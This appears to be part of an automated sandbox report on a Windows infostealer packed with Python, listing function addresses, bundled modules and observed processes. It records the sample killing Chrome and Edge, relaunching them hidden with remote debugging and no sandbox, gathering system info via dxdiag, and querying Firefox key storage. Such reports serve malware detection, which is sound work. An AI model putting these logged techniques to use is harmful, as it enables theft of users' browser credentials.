Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1ACC40	1_2_00007FFDFF1ACC40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1ECC40	1_2_00007FFDFF1ECC40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1CCC59	1_2_00007FFDFF1CCC59
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1FBB00	1_2_00007FFDFF1FBB00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1E6B40	1_2_00007FFDFF1E6B40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1F4B20	1_2_00007FFDFF1F4B20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1B99A0	1_2_00007FFDFF1B99A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF19FA10	1_2_00007FFDFF19FA10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1D5880	1_2_00007FFDFF1D5880
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF19288E	1_2_00007FFDFF19288E
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF19A8C0	1_2_00007FFDFF19A8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1F2950	1_2_00007FFDFF1F2950
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1A6930	1_2_00007FFDFF1A6930
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF2027E6	1_2_00007FFDFF2027E6
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1FC840	1_2_00007FFDFF1FC840
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF194820	1_2_00007FFDFF194820
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1EE670	1_2_00007FFDFF1EE670
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1F06C0	1_2_00007FFDFF1F06C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF207750	1_2_00007FFDFF207750
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF194570	1_2_00007FFDFF194570
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1BE5C0	1_2_00007FFDFF1BE5C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1C15A0	1_2_00007FFDFF1C15A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1B45A0	1_2_00007FFDFF1B45A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1EB5B0	1_2_00007FFDFF1EB5B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1A3650	1_2_00007FFDFF1A3650
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1994D0	1_2_00007FFDFF1994D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF2354A0	1_2_00007FFDFF2354A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1DA510	1_2_00007FFDFF1DA510
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1AC380	1_2_00007FFDFF1AC380
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF2043B0	1_2_00007FFDFF2043B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1DF2D0	1_2_00007FFDFF1DF2D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF2542B0	1_2_00007FFDFF2542B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1AD2B0	1_2_00007FFDFF1AD2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF21A300	1_2_00007FFDFF21A300
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1BD310	1_2_00007FFDFF1BD310
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1932F5	1_2_00007FFDFF1932F5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1BF2F0	1_2_00007FFDFF1BF2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1F7350	1_2_00007FFDFF1F7350
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF197336	1_2_00007FFDFF197336
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF1A21E0	1_2_00007FFDFF1A21E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF194120	1_2_00007FFDFF194120
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE01301950	1_2_00007FFE01301950
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE01302270	1_2_00007FFE01302270
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE01301300	1_2_00007FFE01301300
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1D93	1_2_00007FFE013B1D93
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B16FE	1_2_00007FFE013B16FE
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B116D	1_2_00007FFE013B116D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B8720	1_2_00007FFE013B8720
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1EE2	1_2_00007FFE013B1EE2
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1618	1_2_00007FFE013B1618
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE01428870	1_2_00007FFE01428870
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013E8920	1_2_00007FFE013E8920
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B2617	1_2_00007FFE013B2617
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1A0F	1_2_00007FFE013B1A0F
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1CBC	1_2_00007FFE013B1CBC
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1B54	1_2_00007FFE013B1B54
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE0142AC80	1_2_00007FFE0142AC80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B149C	1_2_00007FFE013B149C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B117C	1_2_00007FFE013B117C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B2702	1_2_00007FFE013B2702

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00007FFDFF19A500 appears 163 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00007FFDFF199340 appears 135 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00007FFE0142D341 appears 646 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00007FF6BAF02710 appears 104 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00007FFE0142D32F appears 177 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00007FF6BAF02910 appears 34 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00007FFDFF1C1E20 appears 33 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00007FFE013B1325 appears 243 times

Source: _overlapped.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: file.exe, 00000000.00000003.1687714832.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1694627674.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepywintypes313.dll0 vs file.exe
Source: file.exe, 00000000.00000003.1698037961.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs file.exe
Source: file.exe, 00000000.00000003.1698625559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1691977367.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibsslH vs file.exe
Source: file.exe, 00000000.00000003.1688573407.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1688385647.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_overlapped.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1688492455.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1688285782.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_multiprocessing.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1689025559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_wmi.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1688704118.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1698959905.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewin32crypt.pyd0 vs file.exe
Source: file.exe, 00000000.00000003.1688025894.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1688855381.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1688158142.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1692299393.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepyexpat.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1687009658.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs file.exe
Source: file.exe, 00000000.00000003.1687157131.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140_1.dllT vs file.exe
Source: file.exe, 00000000.00000003.1687862228.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1687289332.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_asyncio.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1687411258.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs file.exe
Source: file.exe, 00000000.00000003.1694758534.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs file.exe
Source: file.exe	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000001.00000002.2149668247.00007FFDFB244000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: OriginalFilenamelibcryptoH vs file.exe
Source: file.exe, 00000001.00000002.2159763607.00007FFE130C8000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilename_wmi.pyd. vs file.exe
Source: file.exe, 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs file.exe
Source: file.exe, 00000001.00000002.2157787609.00007FFE11523000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs file.exe
Source: file.exe, 00000001.00000002.2159358922.00007FFE126F3000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs file.exe
Source: file.exe, 00000001.00000002.2159962826.00007FFE13212000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs file.exe
Source: file.exe, 00000001.00000002.2156825000.00007FFE1031C000.00000002.00000001.01000000.00000014.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs file.exe
Source: file.exe, 00000001.00000002.2153038343.00007FFE0C0C2000.00000002.00000001.01000000.0000002C.sdmp	Binary or memory string: OriginalFilenamepywintypes313.dll0 vs file.exe
Source: file.exe, 00000001.00000002.2158377318.00007FFE11EA6000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs file.exe
Source: file.exe, 00000001.00000002.2159566763.00007FFE12E19000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilenamevcruntime140_1.dllT vs file.exe
Source: file.exe, 00000001.00000002.2159115880.00007FFE126C6000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs file.exe
Source: file.exe, 00000001.00000002.2158887204.00007FFE120CD000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs file.exe
Source: file.exe, 00000001.00000002.2160395061.00007FFE1331A000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs file.exe
Source: file.exe, 00000001.00000002.2158652301.00007FFE11EDE000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: OriginalFilenamepyexpat.pyd. vs file.exe
Source: file.exe, 00000001.00000002.2151631313.00007FFDFB8A0000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenamepython313.dll. vs file.exe
Source: file.exe, 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: OriginalFilenamelibsslH vs file.exe
Source: file.exe, 00000001.00000002.2156625851.00007FFE1026A000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs file.exe
Source: file.exe, 00000001.00000002.2152364570.00007FFE013AC000.00000002.00000001.01000000.00000018.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs file.exe
Source: file.exe, 00000001.00000002.2153238930.00007FFE0CFAF000.00000002.00000001.01000000.0000002B.sdmp	Binary or memory string: OriginalFilenamewin32crypt.pyd0 vs file.exe

Source: unknown

Driver loaded: C:\Windows\System32\drivers\mstee.sys

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@72/400@24/15

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Bunny

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7952:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:928:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1720:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI29922

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\dxdiag.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\dxdiag.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "chrome.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "msedge.exe")

Source: C:\Windows\System32\dxdiag.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT item1, item2 FROM metadata;
Source: file.exe, 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: file.exe, file.exe, 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT a11, a102 FROM nssPrivate WHERE a102 = ?;
Source: file.exe, 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: file.exe

ReversingLabs: Detection: 13%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "dxdiag /t C:\Users\user\AppData\Local\Bunny\Info.txt"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\dxdiag.exe dxdiag /t C:\Users\user\AppData\Local\Bunny\Info.txt
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9876 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mojo-platform-channel-handle=1980 --field-trial-handle=1928,i,10138963520009945514,5208888711942787013,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM msedge.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9876 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --mojo-platform-channel-handle=2024 --field-trial-handle=1932,i,6186283230393300826,18104412640596963689,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9876 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --mojo-platform-channel-handle=2056 --field-trial-handle=1976,i,1455327040868021554,2898897310355900998,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --no-sandbox --mojo-platform-channel-handle=5308 --field-trial-handle=1976,i,1455327040868021554,2898897310355900998,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --no-sandbox --onnx-enabled-for-ee --mojo-platform-channel-handle=5412 --field-trial-handle=1976,i,1455327040868021554,2898897310355900998,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --no-sandbox --mojo-platform-channel-handle=5760 --field-trial-handle=1976,i,1455327040868021554,2898897310355900998,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --no-sandbox --mojo-platform-channel-handle=5760 --field-trial-handle=1976,i,1455327040868021554,2898897310355900998,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --no-sandbox --message-loop-type-ui --mojo-platform-channel-handle=2540 --field-trial-handle=1976,i,1455327040868021554,2898897310355900998,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "dxdiag /t C:\Users\user\AppData\Local\Bunny\Info.txt"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9876 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM msedge.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9876 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\dxdiag.exe dxdiag /t C:\Users\user\AppData\Local\Bunny\Info.txt	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mojo-platform-channel-handle=1980 --field-trial-handle=1928,i,10138963520009945514,5208888711942787013,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --no-sandbox --message-loop-type-ui --mojo-platform-channel-handle=2540 --field-trial-handle=1976,i,1455327040868021554,2898897310355900998,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --mojo-platform-channel-handle=2024 --field-trial-handle=1932,i,6186283230393300826,18104412640596963689,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --no-sandbox --mojo-platform-channel-handle=2056 --field-trial-handle=1976,i,1455327040868021554,2898897310355900998,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
